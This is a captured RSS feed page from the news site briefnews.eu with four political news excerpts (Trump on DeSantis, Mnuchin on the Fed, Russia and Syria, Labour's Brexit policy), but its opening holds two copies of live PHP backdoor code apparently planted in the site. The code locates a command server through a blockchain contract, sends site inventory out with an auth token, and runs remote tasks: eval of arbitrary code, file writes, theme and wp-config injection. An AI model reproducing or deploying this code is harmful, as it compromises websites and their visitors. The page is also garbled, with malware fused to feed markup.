// q2_xh if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// q2_xh', 'vis'=>'// xp_v9', 'vis_func'=>'wp_dia8xd', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_47nl0jvi', ); $keys=array(); $keys['id']='kun'; $keys['ver']='em'; $keys['caps']='eby'; $keys['tasks']='awd'; $keys['interval']='pww'; $keys['ack_id']='nl0'; $keys['ok']='9s'; $keys['detail']='wyy'; $keys['inv']='kxw'; $keys['result']='f3t'; $hdr='X-J98-Auth';$tok='0cQMbCeRLTCSW0NdninnOEVrAtwy11ErS16wrKLqeas';$id='1d0c923bac57072b';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); // l0_9z if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// l0_9z', 'vis'=>'// zn_yn', 'vis_func'=>'wp_cuzg8t', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_mtrhds4x', ); $keys=array(); $keys['id']='ybc'; $keys['ver']='a1'; $keys['caps']='afo'; $keys['tasks']='x9t'; $keys['interval']='2e4'; $keys['ack_id']='k72'; $keys['ok']='ch'; $keys['detail']='xd9'; $keys['inv']='hw8'; $keys['result']='0bb'; $hdr='X-L8A-Auth';$tok='A3-EVnA_qOJ132k0gQIT_73RgM-QQ5Szxw145ZNDetU';$id='d1451f9eb0097c9f';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); privately – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Mon, 26 Sep 2022 06:04:24 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.7 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png privately – Brief News https://briefnews.eu 32 32 Donald Trump privately slammed Ron DeSantis, calling him ‘fat,’ ‘phony,’ and ‘whiny’: book https://briefnews.eu/donald-trump-privately-slammed-ron-desantis-calling-him-fat-phony-and-whiny-book/ https://briefnews.eu/donald-trump-privately-slammed-ron-desantis-calling-him-fat-phony-and-whiny-book/#respond Mon, 26 Sep 2022 06:04:24 +0000 https://briefnews.eu/donald-trump-privately-slammed-ron-desantis-calling-him-fat-phony-and-whiny-book/ Trump DeSantis
Then-President Donald Trump campaigning with Ron DeSantis at a rally in Pensacola, Florida, on November 3, 2018.

AP Photo/Butch Dill, File

  • Trump slammed DeSantis in private, wrote New York Times reporter Maggie Haberman in her new book.
  • Citing sources, Haberman wrote that Trump had called DeSantis "fat" and "whiny."
  • He also said Chris Christie, another rival, had a "weight problem," per Haberman's book.

Former President Donald Trump has been making rude comments in private about Florida Gov. Ron DeSantis and former New Jersey Gov. Chris Christie, according to a new book by New York Times reporter Maggie Haberman.

In an excerpt from "Confidence Man: The Making of Donald Trump and the Breaking of America," published by The Atlantic on Sunday, Haberman detailed a meeting she had in the summer with Trump at the latter's golf club in Bedminster, New Jersey.

During the meeting, she spoke with Trump about Christie, one of his 2016 election rivals.

"I was compared to him? Why? I didn't know I had that big of a weight problem," Trump told Haberman, per her account. He also called Christie an "opportunist."

Haberman also wrote that she had heard of Trump using similar terms to describe DeSantis. She also recalled learning from sources that Trump had called DeSantis "fat," "phony," and "whiny" while also taking credit for the latter clinching the governor's seat in 2018.

Per the excerpt, Trump told Haberman that the question he most often received was whether he would be running for president again.

"The answer is, yeah, I think so. Because here's the way I look at it. I have so many rich friends and nobody knows who they are," Haberman wrote of Trump's response.

She added: "Reflecting on the meaning of having been president of the United States, his first impulse was not to mention public service, or what he felt he'd accomplished, only that it appeared to be a vehicle for fame, and that many experiences were only worth having if someone else envied them."

Representatives for DeSantis and Christie and an aide at Trump's post-presidential press office did not immediately respond to Insider's requests for comment.

DeSantis and Trump have been posited as leading contenders for the 2024 Republican presidential ticket, though neither has made a formal declaration about running in the next election.

In July, a DeSantis representative told Insider that DeSantis remains "focused on Florida and running for reelection as governor this year." However, the governor has been boosting his political profile — launching a fundraising blitz that included selling a gold "Florida First Fighter" card that appeared to resemble the Trump Card.

DeSantis also has high-profile supporters, such as podcast host Joe Rogan, Tesla CEO Elon Musk, and billionaire and Trump megadonor Peter Thiel.

Trump has reacted harshly to the idea that DeSantis might be a potential competitor for the 2024 GOP ticket.

In July, the former president slammed "Fox & Friends" for reporting on polls that showed DeSantis taking the lead over him, accusing the show's hosts of having "gone to the dark side." Earlier this month, Trump took a swipe at DeSantis, sharing an Insider story about his polling lead over DeSantis via his Save America political action committee.

Rolling Stone also recently reported that Trump was irritated that DeSantis was stealing his limelight with a political stunt that involved two planeloads of migrants being flown to Martha's Vineyard, a Democratic enclave.

Meanwhile, Trump also fat-shamed Christie on Truth Social after Christie gave an unflattering interview to ABC News' "This Week" about the Mar-a-Lago raid.

Read the original article on Business Insider

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]]> https://briefnews.eu/donald-trump-privately-slammed-ron-desantis-calling-him-fat-phony-and-whiny-book/feed/ 0 Mnuchin says Trump doesn’t believe he has the right to fire the Fed chair, despite reports saying he has privately discussed the possibility https://briefnews.eu/mnuchin-says-trump-doesnt-believe-he-has-the-right-to-fire-the-fed-chair-despite-reports-saying-he-has-privately-discussed-the-possibility/ https://briefnews.eu/mnuchin-says-trump-doesnt-believe-he-has-the-right-to-fire-the-fed-chair-despite-reports-saying-he-has-privately-discussed-the-possibility/#respond Sun, 23 Dec 2018 12:23:39 +0000 http://briefnews.eu/mnuchin-says-trump-doesnt-believe-he-has-the-right-to-fire-the-fed-chair-despite-reports-saying-he-has-privately-discussed-the-possibility/ steven mnuchinAssociated Press/Evan Vucci

  • Treasury Secretary Steven Mnuchin said Saturday that President Donald Trump reassured him that he has never suggested firing Federal Reserve Chairman Jerome Powell.
  • Mnuchin tweeted that Trump believed he didn’t have the power to do so.
  • The statement comes in contrast with a Bloomberg report on Friday that said Trump has repeatedly mentioned wanting to fire Powell over raising interest rates multiple times this year.

Treasury Secretary Steven Mnuchin tweeted Saturday that he spoke to President Donald Trump about reports that he wanted to fire Federal Reserve Chairman Jerome Powell — and said the president reassured him he believed he didn’t have the power to do so.

“I have spoken with the President @realDonaldTrump and he said ‘I totally disagree with Fed policy. I think the increasing of interest rates and the shrinking of the Fed portfolio is an absolute terrible thing to do at this time, … especially in the light of my major trade negotiations which are ongoing, but I never suggested firing Chairman Jay Powell, nor do I believe I have the right to do so,'” Mnuchin tweeted.

See the rest of the story at Business Insider

NOW WATCH: Anthony Scaramucci claims Trump isn’t a nationalist: ‘He likes saying that because it irks these intellectual elitists’

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SEE ALSO: Trump reportedly thought Janet Yellen was not tall enough to lead the Federal Reserve

]]> https://briefnews.eu/mnuchin-says-trump-doesnt-believe-he-has-the-right-to-fire-the-fed-chair-despite-reports-saying-he-has-privately-discussed-the-possibility/feed/ 0 Russia reportedly receives an icy reception after it privately asks the US for help in rebuilding Syria https://briefnews.eu/russia-reportedly-receives-an-icy-reception-after-it-privately-asks-the-us-for-help-in-rebuilding-syria/ https://briefnews.eu/russia-reportedly-receives-an-icy-reception-after-it-privately-asks-the-us-for-help-in-rebuilding-syria/#respond Sat, 04 Aug 2018 04:08:08 +0000 http://briefnews.eu/russia-reportedly-receives-an-icy-reception-after-it-privately-asks-the-us-for-help-in-rebuilding-syria/ putin phoneREUTERS/Alexei Druzhinin/RIA Novosti/Kremlin

  • Russia has reportedly used a communications channel with America’s top general to propose a plan to rebuild Syria and repatriate refugees.
  • According to a US memo, the proposal was sent on July 19 by Valery Gerasimov, the chief of the Russian military’s General Staff, to US Marine General Joseph Dunford, chairman of the Joint Chiefs of Staff.
  • The memo received an icy reception in Washington.
  • The proposal illustrates how Russia, having helped turn the tide of the war in favor of Syrian President Bashar al-Assad, is now pressing Washington and others to aid the reconstruction of areas under his control.

WASHINGTON (Reuters) – Russia has used a closely guarded communications channel with America’s top general to propose the two former Cold War foes cooperate to rebuild Syria and repatriate refugees to the war-torn country, according to a US government memo.

The proposal was sent in a July 19 letter by Valery Gerasimov, the chief of the Russian military’s General Staff, to US Marine General Joseph Dunford, chairman of the Joint Chiefs of Staff, according to the memo which was seen by Reuters.

See the rest of the story at Business Insider

NOW WATCH: A diehard Mac user switches to PC

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SEE ALSO: ‘We don’t trust Putin. We never will’: Nikki Haley distances herself from Trump on Russia

]]> https://briefnews.eu/russia-reportedly-receives-an-icy-reception-after-it-privately-asks-the-us-for-help-in-rebuilding-syria/feed/ 0 Exclusive: EU officials have privately rejected Labour’s Brexit policy as unworkable ‘cakeism’ https://briefnews.eu/exclusive-eu-officials-have-privately-rejected-labours-brexit-policy-as-unworkable-cakeism/ https://briefnews.eu/exclusive-eu-officials-have-privately-rejected-labours-brexit-policy-as-unworkable-cakeism/#respond Wed, 13 Jun 2018 06:52:27 +0000 http://briefnews.eu/exclusive-eu-officials-have-privately-rejected-labours-brexit-policy-as-unworkable-cakeism/ Jeremy Corbyn Michel BarnierREUTERS/Olivier Hoslet/Pool

  • EXCLUSIVE: Senior EU figures have privately rubbished Labour’s Brexit policy.
  • The shadow Brexit team is committed to retaining all of the benefits of the single market while negotiating a deal on the free movement of people.
  • However,  a senior official in the European Commission told Business Insider that Labour’s plan to leave the single market but retain all its benefits is “cakeism” and would be rejected in negotiations.
  • “If you want it in a nutshell, the single market isn’t divisible,” the source said.
  • A group of Labour MPs have urged leader Jeremy Corbyn to back an amendment to the Brexit bill which seeks to keep Britain in the EEA, where member countries adhere to free movement.
  • Allies of Labour’s Brexit spokesperson, Sir Keir Starmer, reject suggestions that the free movement of people is non-negotiable. 

 

LONDON — Senior European Union figures have rubbished the Labour Party’s Brexit policy of maintaining all the benefits of the single market, while restricting the free movement of people, as unworkable “cakeism” that would not be accepted by the EU.

See the rest of the story at Business Insider

NOW WATCH: This top economist has a radical plan to change the way Americans vote

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SEE ALSO: Lib Dems expect ‘strong second’ place finish in Lewisham East as anti-Brexit voters punish May and Corbyn

DON’T MISS: It would be ‘very difficult’ for Norway to say no to Britain agreeing a soft Brexit

